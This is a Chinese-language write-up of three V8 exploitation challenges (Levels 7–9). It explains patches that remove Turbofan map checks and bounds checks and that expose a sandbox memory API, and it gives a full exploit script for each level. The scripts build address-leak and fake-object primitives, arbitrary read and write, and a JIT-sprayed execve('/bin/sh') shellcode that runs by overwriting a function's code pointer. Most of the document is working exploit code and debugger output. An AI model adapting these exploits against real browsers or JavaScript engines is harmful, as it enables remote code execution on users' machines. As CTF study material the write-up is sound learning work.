Level7
环境搭建
bash
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level7/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn #注意要修改参数
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5
修改参数如下:
bash
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
分析
这里的patch是对于turbofan的,可以看到目录是/src/compiler/turboshaft/,优化阶段是machine-lowering
Turbofan 是 V8 JavaScript 引擎中的优化编译器,machine-lowering是指将高级、机器无关的中间表示(IR)转换为特定于目标机器的低级指令的过程,这是编译器优化管道中的关键步骤
这里把对map为空的时候的检测给注释掉了

注释掉了 maps 比较失败时的 deoptimize 调用.

原本当对象类型(map)检查失败时,V8 会触发去优化(deoptimize)回解释器执行,现在是直接禁用类型检查失败时的安全机制
总的来看,对于一段代码经过优化后,将不会检查·map类型。换句话说,这段代码被优化之后,我可以对其操作过的对象的map任意修改。
漏洞利用
假设有如下函数:
js
function opt(arr, i) {
...
arr[0] = 1.1;
if(...) {
change_arr();
}
return arr[0];
}
如果参数arr多次为double array,并且change_arr()几乎不调用或不改变arr。那么经过Turbofan优化后,会自然的假设arr为一个double array并返回0号元素,且return arr[0]一直是double类型。
此时,如果change_arr()函数突然更改了arr的形状为PACKED ELEMENTS,如下
js
...
function change() {
if(change_flag) array[1] = obj; // PACKED_DOUBLE_ELEMENTS --> PACKED_ELEMENTS
}
change_flag = false;
...
/*
Turbofan 优化opt, 此时change不会改变arr形状
*/
...
change_flag = true;
array = [1.1, 2.2];
let something = opt(array, 0);
则当return arr[0]时Turbofan如果无法正常完成Deoptimize,则会导致函数opt类型混淆,将obj的地址作为浮点数返回。
所以我们可以构造如下 GetAddressOf
js
function GetAddressOf(obj){
var trigger_flag;
var arr;
function transition(){
if(trigger_flag){
arr[1] = obj;
// %DebugPrint(arr);
// %SystemBreak();
}
}
function opt(arr,i){
for(let i=0;i<0x10000;i++); //通过增加opt函数的运行时间,来提高使用Turbofan优化的概率
arr[0] = 1.1;
if(trigger_flag || i < 1){
transition(); //在正式利用前调用少量次数为其生成字节码,并防止被内联
}
return arr[0]; //在调用transition()前每次返回的都是double类型的数据,会让优化器默认认为返回的一直是double类型
//在改变arr[1] = obj后PACKED_DOUBLE_ELEMENTS已经变成PACKED_ELEMENTS,但return还是认为是个 //double类型,从而以double形式拿到地址
}
trigger_flag = false;
for(let i = 0;i<0x1000;i++){
arr = [1.1,2.2,3.3]; //创建PACKED_DOUBLE_ELEMENTS数组
opt(arr,i); //调用0x1000次opt函数
}
trigger_flag = true;
arr = [1.1,2.2];
f64[0] = opt(arr,0);
return u32[1];
}
GetFakeObject()如下:
js
function GetFakeObject(addr) {
let trigger_flag;
let arr;
function transition() {
if (trigger_flag)
arr[1] = {};
}
function opt(arr, i) {
for (let i = 0; i < 1000000; i++); //通过增加opt函数的运行时间,来提高使用Turbofan优化的概率,
arr[0] = 1.1;
if (trigger_flag || i<1)
transition();//在正式利用前调用少量次数为其生成字节码,并防止被内联
arr[0] = u2f(addr, 0);//在调用transition()前一直是写double类型的数据,所以在调用transition()后还是会以doule //类型来写入
}
trigger_flag = false;
for (let i = 0; i < 1000; i++) {
arr = [1.1, 2.2];
opt(arr, i); //调用0x1000次opt函数
}
trigger_flag = true;
arr = [1.1, 2.2];
opt(arr, 0); //PACKED_DOUBLE_ELEMENTS变成PACKED_ELEMENTS,后续就能拿到obj
return arr[0]; //返回"伪造"的对象
}
EXP
js
var buf = new ArrayBuffer(8); //分配8字节内存
var f64 = new Float64Array(buf,0,1); //1个64位浮点数
var u32 = new Uint32Array(buf,0,2); //2个32位无符号整数
var i32 = new Int32Array(buf,0,2); //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1); //1个64位大整数
function hex(str){
return str.toString(16).padStart(16,0);
}
function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}
function unptr(v){
return v & 0xfffffffen;
}
function ptr(v){
return v | 1;
}
function u32_to_f64(low,high){ //combined (two 4 bytes) word to float
u32[0] = low;
u32[1] = high;
return f64[0];
}
function f64_to_u64(v){ //float to bigint
f64[0] = v;
return u64[0];
}
function u64_to_f64(v){ //bigint to float
u64[0] = v;
return f64[0];
}
function u64_to_u32_0(v) {
u64[0] = v;
return u32[0];
}
function u64_to_u32_1(v) {
u64[0] = v;
return u32[1];
}
function shellcode() {// Promote to ensure not GC during training
// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"
return [
1.9710255989868046e-246,
1.9711456320011228e-246,
1.97118242283721e-246,
1.9711826272864685e-246,
1.9712937950614383e-246,
-1.6956275879669133e-231
];
}
for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
function GetAddressOf(obj){
let trigger_flag;
let arr;
function transition(){
if(trigger_flag){
arr[1] = obj;
}
}
function opt(arr,i){
for(let i=0;i<0x100000;i++); //通过增加opt函数的运行时间,来提高使用Turbofan优化的概率
arr[0] = 1.1;
if(trigger_flag || i < 1){
transition(); //在正式利用前调用少量次数为其生成字节码,并防止被内联
}
return arr[0];
}
trigger_flag = false;
for(let i = 0;i<1000;i++){
arr = [1.1,2.2,3.3]; //创建PACKED_DOUBLE_ELEMENTS数组
opt(arr,i);
}
trigger_flag = true;
arr = [1.1,2.2];
f64[0] = opt(arr,0);
return u32[1];
}
let shellcode_addr = GetAddressOf(shellcode);
logg("shellcode_addr",shellcode_addr);
function GetFakeObj(addr){
let trigger_flag;
let arr;
function transition(){
if(trigger_flag){
arr[1] = {};
}
}
function opt(arr,i){
for(let i = 0;i<0x100000;i++);
arr[0] = 1.1;
if(trigger_flag || i<1){
transition();
}
arr[0] = u32_to_f64(addr,0);
}
trigger_flag = false;
for(let i = 0;i<1000;i++){
arr = [1.1,2.2];
opt(arr,i);
}
trigger_flag = true;
arr = [1.1,2.2];
opt(arr,0);
return arr[0];
}
var double_array_map_addr = 0x1cb7f9; //fake_arr 的map
let fake_arr = [u32_to_f64(double_array_map_addr,0x0),u32_to_f64(0,0x1000)];
let fake_arr_addr = GetAddressOf(fake_arr)+0x54;
logg("fake_arr_addr",fake_arr_addr);
let fake_obj = GetFakeObj(fake_arr_addr);
function AAR(addr){
fake_arr[1] = u32_to_f64(addr-8,0x1000);
return f64_to_u64(fake_obj[0]);
}
function AAW(addr,val){
fake_arr[1] = u32_to_f64(addr-8,0x1000);
fake_obj[0] = u64_to_f64(val);
}
var code_addr = u64_to_u32_0(AAR(shellcode_addr+0xc));
var instruction_start_addr = AAR(code_addr+0x14);
var shellcode_start = instruction_start_addr + 0x6bn;
AAW(Number(code_addr+0x14),shellcode_start);
logg("code_addr",code_addr);
logg("instruction_start_addr",instruction_start_addr);
logg("shellcode_start",shellcode_start);
shellcode();
概率触发多试几次
Level8
环境搭建
bash
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
source ~/.bashrc
gclient sync -D
git apply < ../Level8/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn #注意要修改参数
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5
修改参数如下:
bash
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
分析

从补丁内容可以看出,主要涉及 V8 在进行Simplified Lowering时对数组越界检查的处理逻辑,具体来说,这段补丁主要放宽了对索引范围的检测条件。
这里 index_type.Max() < length_type.Min() 时,就判定**"索引一定落在 [0, length) 之内",进而认为 「这个数组越界检查是多余的,可以省略」,变成 index_type.Min() < length_type.Min()后,意味着 「需要整段区间都在数组范围内」变成了「只要索引最小值小于 length 的最小值就行」**有数组越界的风险。
在下方删去了if (v8_flags.turbo_typer_hardening) 替换为if (false /*v8_flags.turbo_typer_hardening*/) ,这就意味着会直接执行到DeferReplacement(node, NodeProperties::GetValueInput(node, 0)); ,而这个语句的作用就是直接消除边界检查 ,那么意思就是说,一段执行过索引数组操作的代码,被turbofan优化过后,数组就不存在边界检查,也就是任意的oob
漏洞利用
假设有如下代码:
js
function opt(i){
let array = [1.1];
//%DebugPrint(array);
//%SystemBreak();
i = i&0xff;
f64[0] = array[i];
u32[1] = 0x12345678;
array[i] = f64[0];
return array; //这里return array 而不return array[1]是为了防止代码优化后越界访问会直接返回0x12345678(我们设置的值)
}
let array = [1.1];则array的len属于 [1 , 1)i = i & 0xff;则i的属于为 [0 , 255]- 此时满足条件:
(index_type.Min() >= 0.0 &&index_type.Max() < length_type.Min()) - 因此优化阶段,会省略掉对index的范围检测
同样使用%OptimizeFunctionOnNextCall优化函数:
js
%OptimizeFunctionOnNextCall(opt);
opt(0);
%OptimizeFunctionOnNextCall(opt);
let last = opt(1);
%DebugPrint(opt);
%DebugPrint(last);
%SystemBreak();
在执行opt(0)时arr结构如下:


然后再执行opt(1)时会导致elements的地址比该数组的地址低,导致数组越界就会读到该array的map和properties域

执行 array[i] = f64[0];前

执行 array[i] = f64[0];后,可以看到array[1]恰好就是array对应的map和properties域,同理我们也可以尝试修改elements和len域:

有了上面的基础可以很容易的写出地址泄露的函数GetAddressOf(),AAR,AAW
EXP
js
var buf = new ArrayBuffer(8); //分配8字节内存
var f64 = new Float64Array(buf,0,1); //1个64位浮点数
var u32 = new Uint32Array(buf,0,2); //2个32位无符号整数
var i32 = new Int32Array(buf,0,2); //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1); //1个64位大整数
function hex(str){
return str.toString(16).padStart(16,0);
}
function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}
function unptr(v){
return v & 0xfffffffen;
}
function ptr(v){
return v | 1;
}
function u32_to_f64(low,high){ //combined (two 4 bytes) word to float
u32[0] = low;
u32[1] = high;
return f64[0];
}
function f64_to_u64(v){ //float to bigint
f64[0] = v;
return u64[0];
}
function u64_to_f64(v){ //bigint to float
u64[0] = v;
return f64[0];
}
function u64_to_u32_0(v) {
u64[0] = v;
return u32[0];
}
function u64_to_u32_1(v) {
u64[0] = v;
return u32[1];
}
function shellcode() {// Promote to ensure not GC during training
// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"
return [
1.9710255989868046e-246,
1.9711456320011228e-246,
1.97118242283721e-246,
1.9711826272864685e-246,
1.9712937950614383e-246,
-1.6956275879669133e-231
];
}
for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
function GetAddressOf(target_obj){
function opt(i,target_obj){
let array = [1.1];
let obj = [target_obj];
// %DebugPrint(array);
// %DebugPrint(obj);
// %DebugPrint(target_obj);
// %SystemBreak();
i = i & 0xff;
f64[0] = array[i];
u32[1] = 0x001cb7f9;
array[i] = f64[0];
return [array,obj,target_obj];
}
for(let i = 0; i<1000000; i++)
opt(0 , target_obj);
let last = opt(4,target_obj); //索引4刚好到obj的map位置,可以伪造map
// %DebugPrint(last);
// %SystemBreak();
let obj_tmp = last[1];
f64[0] = obj_tmp[0];
return u32[0];
}
let shellcode_addr = GetAddressOf(shellcode);
logg("shellcode_addr",shellcode_addr);
function AAR(addr){
function opt(i,addr){
for(let i=0; i < 1000000; i++);
let array = [1.1];
i = i & 0xff;
f64[0] = array[i];
u32[0] = addr-0x8;
array[i] = f64[0];
return array;
}
for(let i = 0; i<0x1000; i++)
opt(0 , addr);
let arr = opt(2,addr);
// %DebugPrint(arr);
// %SystemBreak();
return f64_to_u64(arr[0]);
}
function AAW(addr,val){
function opt(i,addr){
for(let i=0; i < 1000000; i++);
let array = [1.1];
i = i & 0xff;
f64[0] = array[i];
u32[0] = addr-0x8;
array[i] = f64[0];
return array;
}
for(let i = 0; i<0x1000; i++)
opt(0 , addr);
let arr = opt(2,addr);
// %DebugPrint(arr);
// %SystemBreak();
arr[0] = u64_to_f64(val);
return f64_to_u64(arr[0]);
}
let code_addr = u64_to_u32_0(AAR(shellcode_addr+0xc));
var instruction_start_addr = AAR(code_addr+0x14);
var shellcode_start = instruction_start_addr + 0x6bn;
logg("code_addr",code_addr)
logg("instruction_start_addr",instruction_start_addr);
logg("shellcode_start",shellcode_start);
AAW(Number(code_addr+0x14),shellcode_start);
shellcode();
Level9
环境搭建
bash
git reset --hard f5e412a1cd82fb606b79a587f1c4bda7f9445701
source ~/.bashrc
gclient sync -D
git apply < ../Level9/patch
./tools/dev/v8gen.py x64.release
subl ./out.gn/x64.release/args.gn #注意要修改参数
python3.10 /home/saulgoodman/Desktop/v8_pwn/depot_tools/ninja.py -C ./out.gn/x64.release d8 -j 5
修改参数如下:
bash
dcheck_always_on = false
is_debug = false
is_component_build = false
target_cpu = "x64"
v8_enable_object_print = true
v8_enable_disassembler = true
v8_enable_backtrace = true
分析
可以看到开启了沙箱保护

沙箱化指针 (Sandboxed Pointers):将 V8 堆对象指针转换为沙箱内的相对偏移
如:
js
// 传统漏洞:通过类型混淆获得对象地址
let obj_addr = leak_object();
// 可以直接读写任意地址
arbitrary_write(obj_addr + 0x30, shellcode);
// 沙箱后:获得的只是沙箱内偏移
let sandbox_offset = leak_object(); // 比如 0x1000
// 只能访问 sandbox_base + 0x1000 范围内的内存
外部指针沙箱 (External Pointers):保护 V8 到外部 C++ 对象的指针
js
// 传统攻击:通过 ArrayBuffer 的 backing_store 指针实现任意读写
var buffer = new ArrayBuffer(100);
// 覆盖 backing_store 指针指向任意地址
// 沙箱后:backing_store 被沙箱化
// 只能指向预先分配的外部内存区域
开启了这些导致传统的方法基本失效。
继续分析,这道题目开启了如下所示的四个方法

这里的部分能为我们提供一个大致的了解:
创建了一个全局的对象Sandbox
- 其中包含几个方法,看名字也能大致知道含义:
SandboxGetByteLength,接收参数数量0,返回Sandbox大小SandboxMemoryView,接收2个参数,用于返回指定Sandbox区域的mem对象SandboxGetAddressOf,接收1个参数,用于获取指定对象的地址SandboxGetSizeOf,接收1个参数,用于获取对象大小
下面看看具体相关实现.
Sandbox.byteLength

注释里是使用方法,这里返回了sandbox的大小,这里调用GetProcessWideSandbox()->size()直接获取Sandbox的大小范围,使用方法如下:
js
let sandbox_len = Sandbox.byteLength;
console.log("sandbox_len-->0x" + hex(sandbox_len));
Sandbox.MemoryView(args)

首先必须是new Sandbox.MemoryView(offset, size)调用,这里会接收两个参数,并把这两个参数转换成整数。
然后获取全局沙箱实例, 确保沙箱大小在安全范围内。
然后有三重边界检查:
offset不能超过沙箱大小size不能超过沙箱大小offst + size不能超过沙箱大小(防止整数溢出)
然后就是创建 BackingStore:包装已存在的内存区域
BackingStore::WrapAllocation 的作用:
js
// 这个函数包装已分配的内存,而不是分配新内存
// 参数说明:
// 1. sandbox->base() + offset:沙箱内的真实内存地址
// 2. size:内存大小
// 3. EmptyDeleter:删除器,因为内存属于沙箱,不需要释放
// 4. nullptr:没有自定义数据
// 5. kNotShared:非共享内存
最后就是使用 BackingStore 创建 ArrayBuffer.
总的来说Sandbox.MemoryView(args)就相当于给了我们任意读写的机会
Sandbox.getAddressOf(object)

这个就是获取obj的地址
Sandbox.getSizeOf(object)

这个就是获取obj的size
漏洞利用
sandbox主要是为了防止内部的内存问题影响到外部对象而设计的。这种方案在一定程序上限制了类似篡改WebAssembly创建rwx的空间这样的攻击手法,使得影响范围尽量局限在沙盒内部。绕过方式,便是我们之前一直用到的,JIT优化字节码,构造立即数shellcode
简单来说,经过JIT优化后,function对象内会有一个code指针,指向优化后的可以执行字节码。
假设有如下代码:
js
function shellcode() {// Promote to ensure not GC during training
// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"
return [
1.0,
1.9710255989868046e-246,
1.9711456320011228e-246,
1.97118242283721e-246,
1.9711826272864685e-246,
1.9712937950614383e-246,
-1.6956275879669133e-231
];
}
for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
%DebugPrint(shellcode);
%SystemBreak();
shellcode();
调试输出如下:
js
DebugPrint: 0x2191081d2061: [Function] in OldSpace
- map: 0x219108202299 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2191081c2861 <JSFunction (sfi = 0x219108146275)>
- elements: 0x219108002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype:
- initial_map:
- shared_info: 0x2191081d1bf5 <SharedFunctionInfo shellcode>
- name: 0x2191081d18f5 <String[9]: #shellcode>
- builtin: InterpreterEntryTrampoline
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x2191081c2331 <NativeContext[263]>
- code: 0x219100004e81 <Code BUILTIN InterpreterEntryTrampoline>
- interpreted
- bytecode: 0x2191081d2149 <BytecodeArray[5]>
- source code: () {// Promote to ensure not GC during training
// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"
return [
1.0,
1.9710255989868046e-246,
1.9711456320011228e-246,
1.97118242283721e-246,
1.9711826272864685e-246,
1.9712937950614383e-246,
-1.6956275879669133e-231
];
}
- properties: 0x219108002249 <FixedArray[0]>
- All own properties (excluding elements): {
0x219108004cc9: [String] in ReadOnlySpace: #length: 0x219108144449 <AccessorInfo> (const accessor descriptor), location: descriptor
0x219108004f11: [String] in ReadOnlySpace: #name: 0x219108144405 <AccessorInfo> (const accessor descriptor), location: descriptor
0x2191080040c1: [String] in ReadOnlySpace: #arguments: 0x21910814437d <AccessorInfo> (const accessor descriptor), location: descriptor
0x219108004305: [String] in ReadOnlySpace: #caller: 0x2191081443c1 <AccessorInfo> (const accessor descriptor), location: descriptor
0x2191080051c5: [String] in ReadOnlySpace: #prototype: 0x21910814448d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- feedback vector: 0x2191081d2181: [FeedbackVector] in OldSpace
- map: 0x21910800272d <Map>
- length: 1
- shared function info: 0x2191081d1bf5 <SharedFunctionInfo shellcode>
- no optimized code
- optimization marker: OptimizationMarker::kNone
- optimization tier: OptimizationTier::kNone
- invocation count: 9992
- profiler ticks: 0
- closure feedback cell array: 0x2191080033e9: [ClosureFeedbackCellArray] in ReadOnlySpace
- map: 0x219108002971 <Map>
- length: 0
- slot #0 Literal {
[0]: 0x2191081d223d <AllocationSite>
}
0x219108202299: [Map]
- type: JS_FUNCTION_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- callable
- constructor
- has_prototype_slot
- back pointer: 0x2191080023d1 <undefined>
- prototype_validity cell: 0x219108144515 <Cell value= 1>
- instance descriptors (own) #5: 0x2191081c2911 <DescriptorArray[5]>
- prototype: 0x2191081c2861 <JSFunction (sfi = 0x219108146275)>
- constructor: 0x2191081c28dd <JSFunction Function (sfi = 0x219108146315)>
- dependent code: 0x2191080021d1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
查看一下code字段

我们在 0x219107e8c700处下一个断点
然后只需要修改code 字段,就可以劫持控制流,这里修改成0x41414141,gdb里执行 set {int}0x2191081d2078=0x4141414141
执行发现此时的RCX=R14+0x41414141,意味着我们可以劫持rip具体值,通过修改code字段
注意这里的0x2191081d2078 = 0x2191081d2061+0x17因为code字段在0x17偏移处。

然后继续执行可以发现会崩溃

查看发生崩溃的汇编代码,我们可以得出结论,如果dword ptr [rcx + 0x1b] & 0x20000000为零,则rip将被设置为rcx + 0x3f,这是一个相对容易满足的条件.
需要注意的是JIT生成的字节码区域没有可写权限,要满足[rcx + 0x1b] & 0x20000000 == 0时,[rcx + 0x1b]往往是字节码的一部分区域,这些汇编命令的16进制值不太可能直接满足这个条件。因此需要一定的技巧,比如在shellcode浮点数组开头增加一个1.0,大概率就能满足条件,所以shellcode可以为:
js
function shellcode() {// Promote to ensure not GC during training
// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"
return [
1.0, //本地打的话 1.0基本不会成功要换一下
1.9710255989868046e-246,
1.9711456320011228e-246,
1.97118242283721e-246,
1.9711826272864685e-246,
1.9712937950614383e-246,
-1.6956275879669133e-231
];
}
然后后面就是修改code为我们shellcode位于的位置-0x3f
EXP
js
var buf = new ArrayBuffer(8); //分配8字节内存
var f64 = new Float64Array(buf,0,1); //1个64位浮点数
var u32 = new Uint32Array(buf,0,2); //2个32位无符号整数
var i32 = new Int32Array(buf,0,2); //2个32位有符号整数
var u64 = new BigUint64Array(buf,0,1); //1个64位大整数
function hex(str){
return str.toString(16).padStart(16,0);
}
function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}
function unptr(v){
return v & 0xfffffffe;
}
function ptr(v){
return v | 1;
}
function u32_to_f64(low,high){ //combined (two 4 bytes) word to float
u32[0] = low;
u32[1] = high;
return f64[0];
}
function f64_to_u64(v){ //float to bigint
f64[0] = v;
return u64[0];
}
function u64_to_f64(v){ //bigint to float
u64[0] = v;
return f64[0];
}
function u64_to_u32_0(v) {
u64[0] = v;
return u32[0];
}
function u64_to_u32_1(v) {
u64[0] = v;
return u32[1];
}
function shellcode() {// Promote to ensure not GC during training
// JIT spray machine code form of `execve("/bin/sh", NULL, NULL)"
return [
-6.82852703445671073954919833565E-229,
1.9710255989868046e-246,
1.9711456320011228e-246,
1.97118242283721e-246,
1.9711826272864685e-246,
1.9712937950614383e-246,
-1.6956275879669133e-231
];
}
for (let i = 0; i < 100000; i++) shellcode(); // Trigger MAGLEV compilation
function hijack(){};
let sandbox = new Sandbox.MemoryView(0,Sandbox.byteLength); //创建覆盖整个沙盒的MemoryView
let sandbox_i32v = new Uint32Array(sandbox,0,0x4000_0000); //Uint32Array视图
function GetAddressOf(obj){
return Sandbox.getAddressOf(obj);
}
function AAR(addr){
return sandbox_i32v[addr>>2]; //地址÷4拿到索引,根据索引在sandbox_i32v中取值
}
function AAW(addr,val){
sandbox_i32v[addr>>2] = val;
}
let shellcode_addr = GetAddressOf(shellcode);
logg("shellcode_addr",shellcode_addr);
let code_addr = unptr(AAR(shellcode_addr+0x18));
console.log("[*] code_addr: 0x"+hex(code_addr));
let shellcode_gadget_addr = code_addr + 0xb5;
logg("shellcode_gadget_addr",shellcode_gadget_addr)
let hijack_addr = GetAddressOf(hijack);
logg("hijack_addr",hijack_addr)
AAW(hijack_addr+0x18,shellcode_gadget_addr-0x3f);
hijack();
这里的 let shellcode_gadget_addr = code_addr + 0xb5;的确定如下:

job code看一下 ,可以发现shellcode在如下位置,第一个REX.W ......是-6.82852703445671073954919833565E-229
第二个REX.W .....才是shellcode的位置


然后就是计算偏移 code的地址是 0x0a3400044ec1
所以是 :0xa3400044f75-0x0a3400044ec0 = 0xb5

运行图:

总结
磨磨蹭蹭的,太懒了历时 一个月 也是终于完成了,总的来说 这些题目不是很难,大多数时候不懂的调试一下基本就能理解了。
v8系列先浅浅入门一下,后面就是主要看看IOT了,毕竟很久之前就想学了